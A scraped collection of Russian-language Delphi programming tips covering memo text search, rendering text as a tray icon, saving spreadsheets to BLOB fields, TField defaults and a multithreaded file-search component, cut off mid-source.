Button1: TButton;
CheckBox1: TCheckBox;
Label1: TLabel;
Memo1: TMemo;
ListBox1: TListBox;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
type
TControlHack = class (TControl);
procedure TForm1.Button1Click(Sender: TObject);
var
I: Integer;
begin
for I := 0 to ControlCount - 1 do
TControlHack (Controls [I]).Text :=
TControlHack (Controls [I]).Text + '*';
end;
end.
|
Загрузить весь проект
Как реализовать поиск по тексту.
procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
Memo1.Lines.LoadFromFile(OpenDialog1.FileName);
end;
procedure TForm1.Button2Click(Sender: TObject);
var
find: string;
text: string;
st, len: integer;
res: integer;
begin
if Memo1.SelStart >= Length(Memo1.Text) then
Memo1.SelStart := 0;
st := Memo1.SelStart + 1;
if (Memo1.SelLength or (not CheckBox1.Checked) then
begin
inc(st, Memo1.SelLength);
len := Length(Memo1.Text) - st;
end
else
len := Memo1.SelLength;
text := copy(Memo1.Text, st, len);
find := Edit1.Text;
res := pos(find, text);
if res = 0 then
begin
ShowMessage('Search string "' + find + '" not found');
Exit;
end;
Memo1.SelStart := res + st - 2;
Memo1.SelLength := length(find);
end;
|
Отображаем текст в System Tray.
Данный код сперва конвертирует Ваш текст в DIB, а затем DIB в иконку и далее в ресурс. После этого изображение иконки отображается в System Tray.
Вызов просходит следующим образом:
StringToIcon('Delphi World Is Cool !!!');
// Не забудьте удалить объект HIcon, после вызова функции...
|
unit MainForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Image1: TImage;
Timer1: TTimer;
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
function StringToIcon (const st : string) : HIcon;
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
type
ICONIMAGE = record
Width, Height, Colors : DWORD; // Ширина, Высота и кол-во цветов
lpBits : PChar; // указатель на DIB биты
dwNumBytes : DWORD; // Сколько байт?
lpbi : PBitmapInfoHeader; // указатель на заголовок
lpXOR : PChar; // указатель на XOR биты изображения
lpAND : PChar; // указатель на AND биты изображения
end;
function CopyColorTable (var lpTarget: BITMAPINFO;
const lpSource: BITMAPINFO): boolean;
var
dc : HDC;
hPal : HPALETTE;
pe : array [0..255] of PALETTEENTRY;
i : Integer;
begin
result := False;
case (lpTarget.bmiHeader.biBitCount) of
8 :
if lpSource.bmiHeader.biBitCount = 8 then
begin
Move (lpSource.bmiColors, lpTarget.bmiColors, 256 * sizeof (RGBQUAD));
result := True
end
else
begin
dc := GetDC (0);
if dc <> 0 then
try
hPal := CreateHalftonePalette (dc);
if hPal <> 0 then
try
if GetPaletteEntries (hPal, 0, 256, pe) <> 0 then
begin
for i := 0 to 255 do
begin
lpTarget.bmiColors [i].rgbRed := pe [i].peRed;
lpTarget.bmiColors [i].rgbGreen := pe [i].peGreen;
lpTarget.bmiColors [i].rgbBlue := pe [i].peBlue;
lpTarget.bmiColors [i].rgbReserved := pe [i].peFlags;
end;
result := True
end
finally
DeleteObject (hPal)
end
finally
ReleaseDC (0, dc)
end
end;
4 :
if lpSource.bmiHeader.biBitCount = 4 then
begin
Move (lpSource.bmiColors, lpTarget.bmiColors, 16 * sizeof (RGBQUAD));
result := True
end
else
begin
hPal := GetStockObject (DEFAULT_PALETTE);
if (hPal <> 0) and (GetPaletteEntries (hPal, 0, 16, pe) <> 0) then
begin
for i := 0 to 15 do
begin
lpTarget.bmiColors [i].rgbRed := pe [i].peRed;
lpTarget.bmiColors [i].rgbGreen := pe [i].peGreen;
lpTarget.bmiColors [i].rgbBlue := pe [i].peBlue;
lpTarget.bmiColors [i].rgbReserved := pe [i].peFlags;
end;
result := True
end
end;
1:
begin
i := 0;
lpTarget.bmiColors[i].rgbRed := 0;
lpTarget.bmiColors[i].rgbGreen := 0;
lpTarget.bmiColors[i].rgbBlue := 0;
lpTarget.bmiColors[i].rgbReserved := 0;
i := 1;
lpTarget.bmiColors[i].rgbRed := 255;
lpTarget.bmiColors[i].rgbGreen := 255;
lpTarget.bmiColors[i].rgbBlue := 255;
lpTarget.bmiColors[i].rgbReserved := 0;
result := True
end;
else
result := True
end
end;
function WidthBytes (bits : DWORD) : DWORD;
begin
result := ((bits + 31) shr 5) shl 2;
end;
function BytesPerLine (const bmih : BITMAPINFOHEADER) : DWORD;
begin
result := WidthBytes (bmih.biWidth * bmih.biPlanes * bmih.biBitCount);
end;
function DIBNumColors (const lpbi : BitmapInfoHeader) : word;
var
dwClrUsed : DWORD;
begin
dwClrUsed := lpbi.biClrUsed;
if dwClrUsed <> 0 then
result := Word (dwClrUsed)
else
case lpbi.biBitCount of
1 : result := 2;
4 : result := 16;
8 : result := 256
else
result := 0;
end
end;
function PaletteSize (const lpbi : BitmapInfoHeader) : word;
begin
result := DIBNumColors (lpbi) * sizeof (RGBQUAD);
end;
function FindDIBBits (const lpbi : BitmapInfo) : PChar;
begin
result := @lpbi;
result := result + lpbi.bmiHeader.biSize + PaletteSize (lpbi.bmiHeader);
end;
function ConvertDIBFormat (var lpSrcDIB : BITMAPINFO; nWidth, nHeight,
nbpp : DWORD; bStretch : boolean) : PBitmapInfo;
var
lpbmi : PBITMAPINFO;
lpSourceBits, lpTargetBits : Pointer;
DC, hSourceDC, hTargetDC : HDC;
hSourceBitmap, hTargetBitmap, hOldTargetBitmap, hOldSourceBitmap : HBITMAP;
dwSourceBitsSize, dwTargetBitsSize, dwTargetHeaderSize : DWORD;
begin
result := nil;
// Располагаем и заполняем структуру BITMAPINFO для нового DIB
// Обеспечиваем достаточно места для 256-цветной таблицы
dwTargetHeaderSize := sizeof ( BITMAPINFO ) + ( 256 * sizeof( RGBQUAD ) );
GetMem (lpbmi, dwTargetHeaderSize);
try
lpbmi^.bmiHeader.biSize := sizeof (BITMAPINFOHEADER);
lpbmi^.bmiHeader.biWidth := nWidth;
lpbmi^.bmiHeader.biHeight := nHeight;
lpbmi^.bmiHeader.biPlanes := 1;
lpbmi^.bmiHeader.biBitCount := nbpp;
lpbmi^.bmiHeader.biCompression := BI_RGB;
lpbmi^.bmiHeader.biSizeImage := 0;
lpbmi^.bmiHeader.biXPelsPerMeter := 0;
lpbmi^.bmiHeader.biYPelsPerMeter := 0;
lpbmi^.bmiHeader.biClrUsed := 0;
lpbmi^.bmiHeader.biClrImportant := 0;
// Заполняем в таблице цветов
if CopyColorTable (lpbmi^, lpSrcDIB) then
begin
DC := GetDC (0);
hTargetBitmap := CreateDIBSection (DC, lpbmi^, DIB_RGB_COLORS, lpTargetBits, 0, 0 );
hSourceBitmap := CreateDIBSection (DC, lpSrcDIB, DIB_RGB_COLORS, lpSourceBits, 0, 0 );
try
if (dc <> 0) and (hTargetBitmap <> 0) and (hSourceBitmap <> 0) then
begin
hSourceDC := CreateCompatibleDC (DC);
hTargetDC := CreateCompatibleDC (DC);
try
if (hSourceDC <> 0) and (hTargetDC <> 0) then
begin
// Flip the bits on the source DIBSection to match the source DIB
dwSourceBitsSize := DWORD (lpSrcDIB.bmiHeader.biHeight) * BytesPerLine(lpSrcDIB.bmiHeader);
dwTargetBitsSize := DWORD (lpbmi^.bmiHeader.biHeight) * BytesPerLine(lpbmi^.bmiHeader);
Move (FindDIBBits (lpSrcDIB)^, lpSourceBits^, dwSourceBitsSize );
// Select DIBSections into DCs
hOldSourceBitmap := SelectObject( hSourceDC, hSourceBitmap );
hOldTargetBitmap := SelectObject( hTargetDC, hTargetBitmap );
try
if (hOldSourceBitmap <> 0) and (hOldTargetBitmap <> 0) then
begin
// Устанавливаем таблицу цветов для DIBSections
if lpSrcDIB.bmiHeader.biBitCount then
SetDIBColorTable (hSourceDC, 0, 1 shl lpSrcDIB.bmiHeader.biBitCount, lpSrcDIB.bmiColors);
if lpbmi^.bmiHeader.biBitCount then
SetDIBColorTable (hTargetDC, 0, 1 shl lpbmi^.bmiHeader.biBitCount, lpbmi^.bmiColors );
// If we are asking for a straight copy, do it
if (lpSrcDIB.bmiHeader.biWidth = lpbmi^.bmiHeader.biWidth) and
(lpSrcDIB.bmiHeader.biHeight = lpbmi^.bmiHeader.biHeight) then
BitBlt (hTargetDC, 0, 0, lpbmi^.bmiHeader.biWidth, lpbmi^.bmiHeader.biHeight,
hSourceDC, 0, 0, SRCCOPY)
else
if bStretch then
begin
SetStretchBltMode (hTargetDC, COLORONCOLOR);
StretchBlt (hTargetDC, 0, 0, lpbmi^.bmiHeader.biWidth,
lpbmi^.bmiHeader.biHeight, hSourceDC, 0, 0, lpSrcDIB.bmiHeader.biWidth,
lpSrcDIB.bmiHeader.biHeight, SRCCOPY );
end
else
BitBlt (hTargetDC, 0, 0, lpbmi^.bmiHeader.biWidth,
lpbmi^.bmiHeader.biHeight, hSourceDC, 0, 0, SRCCOPY );
GDIFlush;
GetMem (result, Integer (dwTargetHeaderSize + dwTargetBitsSize));
Move (lpbmi^, result^, dwTargetHeaderSize);
Move (lpTargetBits^, FindDIBBits (result^)^, dwTargetBitsSize);
end
finally
if hOldSourceBitmap <> 0 then
SelectObject (hSourceDC, hOldSourceBitmap);
if hOldTargetBitmap <> 0 then
SelectObject (hTargetDC, hOldTargetBitmap);
end
end
finally
if hSourceDC <> 0 then
DeleteDC (hSourceDC);
if hTargetDC <> 0 then
DeleteDC (hTargetDC);
end
end;
finally
if hTargetBitmap <> 0 then
DeleteObject (hTargetBitmap);
if hSourceBitmap <> 0 then
DeleteObject (hSourceBitmap);
if dc <> 0 then
ReleaseDC (0, dc)
end
end
finally
FreeMem (lpbmi)
end
end;
function DIBToIconImage (var lpii : ICONIMAGE; var lpDIB:
BitmapInfo; bStretch : boolean) : boolean;
var
lpNewDIB : PBitmapInfo;
begin
result := False;
lpNewDIB := ConvertDIBFormat (lpDIB, lpii.Width, lpii.Height, lpii.Colors, bStretch );
if Assigned (lpNewDIB) then
try
lpii.dwNumBytes := sizeof (BITMAPINFOHEADER)// Заголовок
+ PaletteSize (lpNewDIB^.bmiHeader)// Палитра
+ lpii.Height * BytesPerLine (lpNewDIB^.bmiHeader)// XOR маска
+ lpii.Height * WIDTHBYTES (lpii.Width);// AND маска
// Если здесь уже картинка, то освобождаем её
if lpii.lpBits <> nil then
FreeMem (lpii.lpBits);
GetMem (lpii.lpBits, lpii.dwNumBytes);
Move (lpNewDib^, lpii.lpBits^, sizeof (BITMAPINFOHEADER) + PaletteSize (lpNewDIB^.bmiHeader));
// Выравниваем внутренние указатели/переменные для новой картинки
lpii.lpbi := PBITMAPINFOHEADER (lpii.lpBits);
lpii.lpbi^.biHeight := lpii.lpbi^.biHeight * 2;
lpii.lpXOR := FindDIBBits (PBitmapInfo (lpii.lpbi)^);
Move (FindDIBBits (lpNewDIB^)^, lpii.lpXOR^,
lpii.Height * BytesPerLine (lpNewDIB^.bmiHeader));
lpii.lpAND := lpii.lpXOR + lpii.Height *
BytesPerLine (lpNewDIB^.bmiHeader);
Fillchar (lpii.lpAnd^, lpii.Height * WIDTHBYTES (lpii.Width), $00);
result := True
finally
FreeMem (lpNewDIB)
end
end;
function TForm1.StringToIcon (const st : string) : HIcon;
var
memDC : HDC;
bmp : HBITMAP;
oldObj : HGDIOBJ;
rect : TRect;
size : TSize;
infoHeaderSize : DWORD;
imageSize : DWORD;
infoHeader : PBitmapInfo;
icon : IconImage;
oldFont : HFONT;
begin
result := 0;
memDC := CreateCompatibleDC (0);
if memDC <> 0 then
try
bmp := CreateCompatibleBitmap (Canvas.Handle, 16, 16);
if bmp <> 0 then
try
oldObj := SelectObject (memDC, bmp);
if oldObj <> 0 then
try
rect.Left := 0;
rect.top := 0;
rect.Right := 16;
rect.Bottom := 16;
SetTextColor (memDC, RGB (255, 0, 0));
SetBkColor (memDC, RGB (128, 128, 128));
oldFont := SelectObject (memDC, font.Handle);
GetTextExtentPoint32 (memDC, PChar (st), Length (st), size);
ExtTextOut (memDC, (rect.Right - size.cx) div 2,
(rect.Bottom - size.cy) div 2, ETO_OPAQUE, @rect,
PChar (st), Length (st), nil);
SelectObject (memDC, oldFont);
GDIFlush;
GetDibSizes (bmp, infoHeaderSize, imageSize);
GetMem (infoHeader, infoHeaderSize + ImageSize);
try
GetDib (bmp, SystemPalette16, infoHeader^,
PChar (DWORD (infoHeader) + infoHeaderSize)^);
icon.Colors := 4;
icon.Width := 32;
icon.Height := 32;
icon.lpBits := nil;
if DibToIconImage (icon, infoHeader^, True) then
try
result := CreateIconFromResource (PByte (icon.lpBits),
icon.dwNumBytes, True, $00030000);
finally
FreeMem (icon.lpBits)
end
finally
FreeMem (infoHeader)
end
finally
SelectObject (memDC, oldOBJ)
end
finally
DeleteObject (bmp)
end
finally
DeleteDC (memDC)
end
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Application.Icon.Handle := StringToIcon ('0');
Timer1.Enabled := True;
Button1.Enabled := False;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
const
i : Integer = 0;
begin
Inc (i);
if i = 100 then
i := 1;
Application.Icon.Handle := StringToIcon (IntToStr (i));
end;
end.
|
Сохранение страницы TF1Book в BLOB-поле.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
uses vcf1, dbtables;
procedure SaveSpreadsheet(F1Book: TF1Book);
var
BlobStream: TBlobStream;
MyBlob: HGlobal;
pblob: Pointer;
begin
with Datamodule1.Query1 do
begin
Set8087CW($133f);
try
Application.ProcessMessages;
F1Book.SaveWindowInfo;
MyBlob := GlobalAlloc(GMEM_MOVEABLE, 2000);
try
F1Book.WriteToBlob(MyBlob, 0);
pBlob := globalLock(MyBlob);
try
Blobstream := TBlobStream.Create(TBlobField(FieldByName('QUOTE_BLOB')),
bmWrite);
try
Blobstream.Write(pBlob^, GlobalSize(myBlob));
finally
Blobstream.Free;
end;
finally
globalUnlock(MyBlob);
end;
F1book.IF1Book_Modified := False;
finally
globalFree(myblob);
end;
finally
Set8087CW(Default8087CW);
Application.ProcessMessages;
end;
end;
end;
//Depending on your Delphi Version (<D4), you will need:
//D4 und fruhere Versionen brauchen noch:
var
Default8087CW: Word = $1332;
procedure Set8087CW(NewCW: Word);
asm
MOV Default8087CW,AX
FLDCW Default8087CW
end;
Использование нумерации в TFields.
Автор: Mike Orriss Я хочу хранить журнал транзакций в таблице Paradox и хотел бы писать и читать коды транзаций вместо простых целых чисел, которые они представляют в данный момент...Можете попробовать сделать так:
type Tcodes = (c1,c2,c3,c4); var code: Tcodes; code := Tcodes(Table1Field1.AsInteger); if code in [c2,c4] then ..... Table1Field1.AsInteger := Integer(code); |
Как задать выражение по умолчанию для объекта TField.
Это будет работать, если вы уже установили атрибуты поля и ассоциировали его с полем вашей таблицы. Если вы установили значение в Инспекторе Объектов, т.е. задали строку, не думайте, что это сработает во время выполнения приложения. Если вы попытаетесь во время прогона установить свойство TField.DefaultExpression примерно так:
MyField.DefaultExpression := 'MyValue'; |
То это скомпилируется, но при создании в таблице новой записи, скажем, при щелчке на кнопке + в DBNavigator, значения по умолчанию вы не получите. Чтобы во время работы приложения все работало, код должен быть таким:
MyField.DefaultExpression := '''MyValue'''; |
В Инспекторе Объектов вам нужно просто поместить значение 'MyValue' (используя одинарные кавычки).
TFileFinder - механизм поиска файлов.
| Автор: TADEX |
| Надпись на дисплее нового карманного компаса под управлением Windows CE - "Север не найден." |
История
Было дело, надо было создать компонент, котрый производит поиск файлов. Он был создан и в периодически дополнялся новыми возможностями. Вот и получился компонент с огромными возможностями. Единственное "но" - он был опробован только на Delphi 5 + WinNT 4.0 SP6. Но !должен! без проблем работать и в других средах....
Краткие характеристики
Компонент позволет производить поиск как на локальных дисках так и в локаольной сети.
Компонент использует многопотоковость.
Для сканирования локальных дисков используется отдельный поток, что позволяет продолжать выполнение программы. Для сканирования удаленных компьютеров используется по одному потоку на каждый компьютер. То есть одновременно позволяет сканировать хоть все компьтеры сети.Это усовершенствование должно заметно если не сказать "КОНКРЕТНО" повышает скорость сканирования.
Фильтрование файлов. Гарантируется, что один и тот же файл не будет дважды и более возвращен. Это может случиться при поиске файлов по нескольким маскам (Например поиск ведется по маскам [some*.*] и [*.txt] в этом случае файл somebody.txt попадает в две котегории).
Компонент ведет статистику:
Кол-во найденых файлов. Кол-во просканированых директорий. Время проведенное в сканировании файлов (паузы исключаются). Время начала и конца сканирования.Описание
Имя: TCustomFileFinder.
procedure DoFindFile(var FileInfo: TFileInfo); virtual; protected; |
Вызывает OnFindFile. Может быть отменена в производных классах.
procedure DoScanDir(const Dir: string); virtual; protected; |
Вызывает OnScanDirectory. Может быть отменена в производных классах.
property Dirs: TStrings; protected; |
Содержит список директорий в которых будет производиться посик.
Понимает следующие выражения:
[Drive:][\][Dir[\]] - Поиск в каталоге на локальном диске \\ - Поиск во всех ресурсах каждого компьютера в сети \\[Computer][\] - Поиск во всех ресурсах определенного компьютера в сети \\[Computer][\Share][\] - Поиск в данном ресурсе определенного компьютера в сети |
Комментарий: Список используется только при ScanDirs равном sdOther.
Замечание: Если указываются подкаталоги то при в включеной рекурсии они игнорируются.
Пример: Указан поиск в c:\temp.
\\ \\server <== (*) d:\win95 d:\win95\temp <== (*) |
Каталоги (*) будут игнориорваться т.к. [\\server] входит в множество [\\], а [d:\win95\temp] входит в [d:\win95].
property ScanDirs: TScanDirs; protected; |
Указывает, где будет производиться поиск.
sdOther - каталоги указаны в перменной Dirs sdCurrentDir - В текущей директории sdCurrentDrive - На текущем диске (диск откуда запускалась программа,Но не где находится исполняемый файл).
sdFixedDrives - Только на жестких дисках (исключаются дискеты, CDROM, сетевые диски и т.п.) sdAllDrives - На всех дисках которые присутсвеют в системе sdAllNetwork - По всем ресурсам сети (исключаются локальные ресурсы)
property Wildcards: TStrings; protected; |
Содержит список масок по которым будет производиться поиск файлов.
Например: Поиск всех файлов с расширением WAV и MP3:
*.wav *.mp3 |
property Recurse: Boolean; protected; |
Если True, то поиск также будет производиться в поддиректориях.
property Attributes: TFileAttributes; protected; |
Указываются атрибуты искомых файлов.
Например:
[faArchive, faReadOnly] - будут найдены файлы у которых нет установленных атрибутов и файлы у которых установлены аттрибуты faArchive или faReadOnly или оба вместе.
property MaxThreads: Cardinal; protected; |
Указывает максимальное количество одновременно работающих потоков. 0 - нет ограничений.
Комментарий: Используется при поиске в локальной сети. Оптимальное значение не найдено. Но при малом значениии снижается скорость поиска, а при большом наблюдается большая загрузка ресурсов компьютера. Для поиска на локальных дисках используется один поток, т. к. использование нескольких потоков сколь нибудь заметного прироста производительности не дадут.
property OnFindFile(Sender: TObject; var FileInfo: TFileInfo); protected; event; |
Вызывается если файл отвечающий условиям поиска найден.
Информация о файле содержиться в структуре FileInfo;
Время обработки этого события старайтесь сделать как можно меньше, т. к. поиск файлов вызывающий поток возобонвит только после возврата из из события.
property OnScanDirectory(Sender: TObject; const Dir: string); protected; event; |
Вызывается перед поиском файлов в директории Dir.
Не вижу сколь нибудь пользы от этого обработчика, кроме информационной. Можно пользователю показать, где в данные момент производиться поиск.
property OnEndScan(Sender: TObject; Terminated: Boolean); protected; event; |
Вызывается после того как все потоки завершили свою работу.
procedure Start(Wait: Boolean = False); public; |
Собственно дает команду начать поиск.
Если Wait = True, то процедура вернет управление только когда полностью закончиться поиск. Иначе функция сразу вернет управление. Если уже идет поиск, то выбрасывается исклчение.
procedure Terminate; public; |
Прерывавает поиск. Если поиск не происходит, то выбрасывается исклчение.
function Scaning: Boolean; public; |
Если возвращает True, то компонент осуществляет поиск.
property Pause: Boolean; public; |
Присваивание этому свойству True, приостанавливает поиск.
Присваивание этому свойству False, возобновляет поиск.
Статистика
property Stat_DateTimeBegin: TDateTime; public; - время начала поиска (*) property Stat_DateTimeEnd: TDateTime; public; - время окончания поиска (**) property Stat_ScaningTime: TDateTime; public; - время сканирования (**) property Stat_ScanedFiles: Integer; public; - количество найденных файлов property Stat_ScanedDirs: Integer; public; - количество просмотренных директорий |
(*) статистическая переменная доступны после начала поиска (**) статистические переменные доступны после окончания поиска |
unit FileFinder;
interface
uses
Windows, SysUtils, Classes;
type
EFileFinderError = class(Exception);
TFileAttribute = (faArchive, faReadOnly, faHidden, faSystem,
faCompressed, faOffline, faTemporary);
TFileAttributes = set of TFileAttribute;
TScanDirs = (sdOther, sdCurrentDir, sdCurrentDrive, sdFixedDrives,
sdAllDrives, sdAllNetwork);
PFileInfo = ^TFileInfo;
TFileInfo = record
FileName: string;
FileSize: Longword;
Attributes: TFileAttributes;
CreationTime: TDateTime;
ModifyTime: TDateTime;
LastAccessTime: TDateTime;
end;
TFindFileEvent = procedure(Sender: TObject; var FileInfo: TFileInfo) of object;
TScanDirEvent = procedure(Sender: TObject; const Dir: string) of object;
TEndScanEvent = procedure(Sender: TObject; Terminated: Boolean) of object;
TCustomFileFinder = class(TComponent)
private
FThrManager: Pointer;
FScanDirs: TScanDirs;
FDirs: TStrings;
FWildcards: TStrings;
FRecurse: Boolean;
FAttributes: TFileAttributes;
FMaxThreads: Cardinal;
FOnFindFile: TFindFileEvent;
FOnScanDir: TScanDirEvent;
FOnEndScan: TEndScanEvent;
FStat_BeginTime: TDateTime;
FStat_EndTime: TDateTime;
FStat_IncTime: TDateTime;
FStat_BegScan: TDateTime;
FStat_NumFiles: Integer;
FStat_NumDirs: Integer;
function GetPause: Boolean;
procedure SetPause(Value: Boolean);
procedure SetDirs(Value: TStrings);
procedure SetScanDirs(Value: TScanDirs);
procedure SetWildcards(Value: TStrings);
procedure SetRecurse(Value: Boolean);
procedure SetAttributes(Value: TFileAttributes);
procedure SetMaxThreads(Value: Cardinal);
procedure FindFileCB(var FileInfo: TFileInfo);
procedure ScanDirCB(const Dir: string);
procedure TMTerminated;
function GetStat_DateTimeBegin: TDateTime;
function GetStat_DateTimeEnd: TDateTime;
function GetStat_ScaningTime: TDateTime;
protected
procedure DoFindFile(var FileInfo: TFileInfo); virtual;
procedure DoScanDir(const Dir: string); virtual;
property Dirs: TStrings read FDirs write SetDirs;
property ScanDirs: TScanDirs read FScanDirs write SetScanDirs;
property Wildcards: TStrings read FWildcards write SetWildcards;
property Recurse: Boolean read FRecurse write SetRecurse default TRUE;
property Attributes: TFileAttributes read FAttributes write SetAttributes;
property MaxThreads: Cardinal read FMaxThreads write SetMaxThreads;
property OnFindFile: TFindFileEvent read FOnFindFile write FOnFindFile;
property OnScanDirectory: TScanDirEvent read FOnScanDir write FOnScanDir;
property OnEndScan: TEndScanEvent read FOnEndScan write FOnEndScan;
public
constructor Create(Owner: TComponent); override;
destructor Destroy; override;
procedure Start(Wait: Boolean = False);
procedure Terminate;
function Scaning: Boolean;
property Pause: Boolean read GetPause write SetPause;
property Stat_DateTimeBegin: TDateTime read GetStat_DateTimeBegin;
property Stat_DateTimeEnd: TDateTime read GetStat_DateTimeEnd;
property Stat_ScaningTime: TDateTime read GetStat_ScaningTime;
property Stat_ScanedFiles: Integer read FStat_NumFiles;
property Stat_ScanedDirs: Integer read FStat_NumDirs;
end;
TFileFinder = class(TCustomFileFinder)
published
property Dirs;
property ScanDirs;
property Wildcards;
property Recurse;
property Attributes;
property MaxThreads;
property OnFindFile;
property OnScanDirectory;
property OnEndScan;
end;
procedure register;
implementation
type
PQueueRecord = ^TQueueRecord;
TQueueRecord = record
Dir: string;
Thread: Pointer;
end;
TThreadManager = class
private
FWildcards: array of string;
FTerminated: Boolean;
FFF: TCustomFileFinder;
ThreadList: TThreadList;
TermEvent: THandle;
FQueue: TThreadList;
constructor Create(AFF: TCustomFileFinder);
destructor Destroy; override;
function GetDir(Sender: TObject): string;
procedure AddDir(const Dir: string);
procedure ExamineAndStart;
procedure Terminate;
procedure Suspend;
procedure Resume;
procedure WaitForAll;
function GetSuspended: Boolean;
procedure FFTTerminated(Sender: TObject);
end;
TFileFinderThread = class(TThread)
private
ThrManager: TThreadManager;
FilesInfo: array of TFileInfo;
Bounds: array of Integer;
FilesCount: Integer;
CurFileInfo: PFileInfo;
CurrentDir: string;
ProcFileName: string;
ProcFileAttr: Cardinal;
NetRes: TNetResource;
ServerProc: string;
procedure EnumNetRes(Ptr: PNetResource);
function PartNetworkPath(const Dir: string): Boolean;
function TestFile(var ft: TFileAttributes): Boolean;
procedure WildcardProc(const Wildcard: string);
procedure DirProc(const Dir: string);
function SubSearch(Low, High: Integer): Boolean;
function SearchFile: Boolean;
procedure IncFilesCount;
procedure SafeCallFind;
procedure SafeCallNotify;
protected
procedure DoTerminate; override;
procedure Execute; override;
public
constructor Create(ATM: TThreadManager);
end;
resourcestring
NamePalette = 'Tadex''s Components';
ScaningProcessError = 'Scaning in progress. Can not change this parameter.';
ProcThreadError = 'Scaning don''t started';
BeginScaningError = 'Scaning already in progress.';
StatNotCollected = 'This statistic information isn''t collected yet';
function DrivePath(Letter: char): string;
begin
Result := Letter + ':\';
end;
function MakePath(const Path, FileName: string): string;
begin
if Path[Length(Path)] = '\' then
Result := Concat(Path, FileName)
else
Result := Concat(Path, '\', FileName);
end;
function ExtractServerName(const UNCPath: string): string;
var
DelimPos: Integer;
begin
Result := '.';
if (UNCPath[1] <> '\') or (UNCPath[2] <> '\') then
Exit;
Result := Copy(UNCPath, 3, Length(UNCPath) - 2);
DelimPos := Pos('\', Result);
if DelimPos > 0 then
Result := Copy(Result, 1, DelimPos - 1);
if Result = '' then
Result := '*';
end;
function ExpandPath(const Path: string): string;
var
Dir, Drive, name: string;
i, Count: Integer;
Dirs: array [0..127] of string;
Buffer: array [0..MAX_PATH - 1] of Char;
FName: PChar;
FD: WIN32_FIND_DATA;
HDir: THandle;
NxtFile: Boolean;
begin
Result := '';
SetString(Dir, Buffer, GetFullPathName(PChar(Path),
SizeOf(Buffer), Buffer, FName));
Drive := ExtractFileDrive(Dir);
Count := 0;
for i := Low(Dirs) to High(Dirs) do
begin
if (Length(Dir) = 3) or (Length(Dir) = Length(Drive)) then
Break;
name := ExtractFileName(Dir);
Dir := ExtractFileDir(Dir);
if name <> '' then
begin
Dirs[Count] := name;
Inc(Count);
end;
end;
if Count > 0 then
Dir := Drive;
name := UpperCase(Dir);
for i := Count - 1 downto 0 do
begin
Dir := Concat(Dir, '\', Dirs[i]);
HDir := FindFirstFile(PChar(Dir), FD);
if HDir = INVALID_HANDLE_VALUE then
Exit;
try
NxtFile := FindNextFile(HDir, FD);
finally
Windows.FindClose(HDir);
end;
if NxtFile then
Exit;
if FD.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY = 0 then
Exit;
name := Concat(name, '\', FD.cFileName);
end;
Result := name;
end;
function FT2DT(FileTime: TFileTime): TDateTime;
var
LocalFileTime: TFileTime;
Tmp: Int64;
begin
FileTimeToLocalFileTime(FileTime, LocalFileTime);
with Int64Rec(Tmp), LocalFileTime do
begin
Hi := dwHighDateTime;
Lo := dwLowDateTime;
end;
Result := (Tmp - 94353120000000000) / 8.64e11;
end;
function LowBound(Arr: array of Integer; index: Integer): Integer;
begin
if index = 0 then
Result := 0
else
Result := Arr[index - 1];
end;
constructor TFileFinderThread.Create(ATM: TThreadManager);
begin
inherited Create(True);
FreeOnTerminate := True;
ThrManager := ATM;
SetLength(Bounds, Length(ThrManager.FWildcards));
SetLength(FilesInfo, 8);
ServerProc := '';
with NetRes do
begin
dwScope := RESOURCE_GLOBALNET;
dwType := RESOURCETYPE_DISK;
dwDisplayType := RESOURCEDISPLAYTYPE_SERVER;
dwUsage := RESOURCEUSAGE_CONTAINER;
lpLocalName := '';
lpComment := '';
lpProvider := '';
end;
end;
procedure TFileFinderThread.SafeCallFind;
begin
ThrManager.FFF.FindFileCB(CurFileInfo^);
end;
procedure TFileFinderThread.SafeCallNotify;
begin
ThrManager.FFF.ScanDirCB(CurrentDir);
end;
function TFileFinderThread.SubSearch(Low, High: Integer): Boolean;
var
Tmp: Integer;
begin
Tmp := High - Low;
if Tmp <= 0 then
Result := False
else
if Tmp = 1 then
Result := FilesInfo[Low].FileName = ProcFileName
else
begin
Tmp := Low + Tmp div 2;
if FilesInfo[Tmp].FileName <= ProcFileName then
Result := SubSearch(Tmp, High)
else
Result := SubSearch(Low, Tmp);
end;
end;
function TFileFinderThread.SearchFile: Boolean;
var
i: Integer;
begin
Result := True;
for i := 0 to High(Bounds) do
if SubSearch(LowBound(Bounds, i), Bounds[i]) then
Exit;
Result := False;
end;
function TFileFinderThread.TestFile(var FT: TFileAttributes): Boolean;
begin
Result := False;
FT := [];
if ProcFileAttr and FILE_ATTRIBUTE_DIRECTORY <> 0 then
Exit;
if ProcFileAttr and FILE_ATTRIBUTE_ARCHIVE <> 0 then
Include(FT, faArchive);
if ProcFileAttr and FILE_ATTRIBUTE_READONLY <> 0 then
Include(FT, faReadOnly);
if ProcFileAttr and FILE_ATTRIBUTE_HIDDEN <> 0 then
Include(FT, faHidden);
if ProcFileAttr and FILE_ATTRIBUTE_SYSTEM <> 0 then
Include(FT, faSystem);
if ProcFileAttr and FILE_ATTRIBUTE_COMPRESSED <> 0 then
Include(FT, faCompressed);
if ProcFileAttr and FILE_ATTRIBUTE_TEMPORARY <> 0 then
Include(FT, faTemporary);
if ProcFileAttr and FILE_ATTRIBUTE_OFFLINE <> 0 then
Include(FT, faOffline);
Result := ((FT * ThrManager.FFF.FAttributes <> [])
or (FT = [])) and not SearchFile;
end;
procedure TFileFinderThread.IncFilesCount;
begin
Inc(FilesCount);
if FilesCount >= Length(FilesInfo) then
SetLength(FilesInfo, Length(FilesInfo) * 3 div 2);
end;
procedure TFileFinderThread.WildcardProc(const Wildcard: string);
var
FD: WIN32_FIND_DATA;
Files: THandle;
Attr: TFileAttributes;
begin
if Terminated then
Exit;
Files := FindFirstFile(PChar(Wildcard), FD);
if Files <> INVALID_HANDLE_VALUE then
try
repeat
